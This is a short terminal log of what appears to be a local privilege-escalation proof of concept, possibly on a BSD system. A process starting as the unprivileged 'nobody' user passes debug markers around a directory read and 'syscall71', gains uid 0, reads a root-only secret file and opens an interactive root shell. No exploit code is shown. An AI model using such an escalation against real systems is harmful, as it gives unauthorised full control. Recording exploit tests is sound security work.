id
cat /root/df3156_rootproof
touch /tmp/DF3156_OWNED
ls -ln /tmp/DF3156_OWNED
exit
uid before: 65534 euid: 65534
[m1 opendir]
[m2 first readdir]
  ent namlen=1 name=.
  ent namlen=2 name=..
[m3 loop done]
[m4 closedir]
[m5 pre-syscall71]
[m6 post-syscall71]
uid after: 0 euid: 0
uid0: reading root-only file /root/df3156_rootproof
SECRET-ROOT-ONLY-DF3156-1792147535
[m7 spawning interactive root shell /bin/sh]
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# cat /root/df3156_rootproof
SECRET-ROOT-ONLY-DF3156-1792147535
# touch /tmp/DF3156_OWNED
# ls -ln /tmp/DF3156_OWNED
-rw-r--r--  1 0  0  0 Oct 16 10:45 /tmp/DF3156_OWNED
# exit